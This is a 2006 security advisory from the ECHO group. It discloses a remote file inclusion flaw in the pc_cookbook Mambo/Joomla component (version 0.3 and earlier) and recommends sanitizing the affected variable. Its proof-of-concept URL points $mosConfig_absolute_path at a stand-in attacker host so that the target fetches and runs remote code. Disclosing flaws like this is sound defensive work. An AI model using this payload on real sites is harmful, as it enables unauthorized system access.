\_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO_ADV_37$2006 ----------------------------------------------------------------------------------------------- [ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities ----------------------------------------------------------------------------------------------- Author : Ahmad Maulana a.k.a Matdhule Date : July 10th 2006 Location : Indonesia, Jakarta Web : http://advisories.echo.or.id/adv/adv37-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ pc_cookbook Component Application : pc_cookbook Component version : 0.3 URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog ------------------------------------------------------------------------ Vulnerability: ~~~~~~~~~~~~~~~ in folder com_pccookbook we found vulnerability script pccookbook.php. -----------------------pccookbook.php---------------------- .... ... ---------------------------------------------------------- Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script. Proof Of Concept: ~~~~~~~~~~~~~~~~ http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi g_absolute_path=http://attacker.com/evil.txt? Solution: ~~~~~~~~ sanitize variabel $mosConfig_absolute_path in pccookbook.php ------------------------------------------------------------------------ --- Shoutz: ~~~~~~ ~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com ~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------